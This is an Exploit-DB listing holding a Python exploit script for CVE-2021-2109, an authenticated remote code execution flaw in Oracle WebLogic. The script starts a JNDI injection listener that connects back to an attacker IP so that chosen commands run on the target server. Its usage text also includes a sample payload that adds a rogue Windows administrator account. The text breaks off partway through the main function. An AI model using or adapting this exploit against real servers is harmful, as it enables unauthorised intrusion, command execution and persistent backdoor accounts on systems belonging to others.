Exploit-DB #49461
Description: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)
Type: webapps
Platform: java
Date: 2021-01-22
Author: Photubias

Exploit:
# Exploit Title: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)
# Date: 2021-01-21
# Exploit Author: Photubias 
# Vendor Advisory: [1] https://www.oracle.com/security-alerts/cpujan2021.html
# Vendor Homepage: https://www.oracle.com
# Version: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)
# Tested on: WebLogic 14.1.1.0 with JDK-8u181 on Windows 10 20H2
# CVE: CVE-2021-2109

#!/usr/bin/env python3
'''    
	Copyright 2021 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        File name CVE-2021-2109.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)
        
        Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
         from https://github.com/welk1n/JNDI-Injection-Exploit
         to be in the same folder
'''
import urllib.request, urllib.parse, http.cookiejar, ssl
import sys, os, optparse, subprocess, threading, time

## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7001'
iTimeout = 5
oRun = None

## Ignore unsigned certs, if any because WebLogic is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context

class runJar(threading.Thread):
    def __init__(self, sJarFile, sCMD, sAddress):
        self.stdout = []
        self.stderr = ''
        self.cmd = sCMD
        self.addr = sAddress
        self.jarfile = sJarFile
        self.proc = None
        threading.Thread.__init__(self)

    def run(self):
        self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
        for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
        for line in iter(self.proc.stderr.readline, ''): self.stderr += line
        

def findJNDI():
    sCurDir = os.getcwd()
    sFile = ''
    for file in os.listdir(sCurDir):
        if 'JNDI' in file and '.jar' in file:
            sFile = file
    print('[+] Found and using ' + sFile)
    return sFile

def findJAVA(bVerbose):
    try:
        oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
    except:
        exit('[-] Error: java not found, needed to run the JAR file\n    Please make sure to have "java" in your path.')
    sResult = list(oProc.stdout)[0].decode()
    if bVerbose: print('[+] Found Java: ' + sResult)

def checkParams(options, args):
    if args: sHost = args[0]
    else:
        sHost = input('[?] Please enter the URL ['+sURL+'] : ')
        if sHost == '': sHost = sURL
        if sHost[-1:] == '/': sHost = sHost[:-1]
        if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
    if options.username: sUser = options.username
    else:
        sUser = input('[?] Username [weblogic] : ')
        if sUser == '': sUser = 'weblogic'
    if options.password: sPass = options.password
    else:
        sPass = input('[?] Password [Passw0rd-] : ')
        if sPass == '': sPass = 'Passw0rd-'
    if options.command: sCMD = options.command
    else:
        sCMD = input('[?] Command to run [calc] : ')
        if sCMD == '': sCMD = 'calc'
    if options.listenaddr: sLHOST = options.listenaddr
    else:
        sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
        if sLHOST == '': sLHOST = '192.168.0.10'
    if options.verbose: bVerbose = True
    else: bVerbose = False
    return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)

def startListener(sJarFile, sCMD, sAddress, bVerbose):
    global oRun
    oRun = runJar(sJarFile, sCMD, sAddress)
    oRun.start()
    print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
    oRun.join(3)
    if not oRun.stderr == '':
        exit('[-] Error starting Java listener:\n' + oRun.stderr)
    bThisLine=False
    if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
    for line in oRun.stdout:
        if bThisLine: return line.split('/')[3].replace('\n','')
        if 'JDK 1.8' in line: bThisLine = True

def endIt():
    global oRun
    print('[+] Closing threads')
    if oRun: oRun.proc.terminate()
    exit(0)

def main():
    usage = (
        'usage: %prog [options] URL \n'
        ' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
        ' in the current working folder\n'
        'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
        'Only works when hacker is reachable via an IPv4 address\n'
        'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
        'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
        'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
        )

    parser = optparse.OptionParser(usage=usage)
    parser.add_option('--username', '-u', dest='username')
    parser.add_option('--password', '-p', dest='password')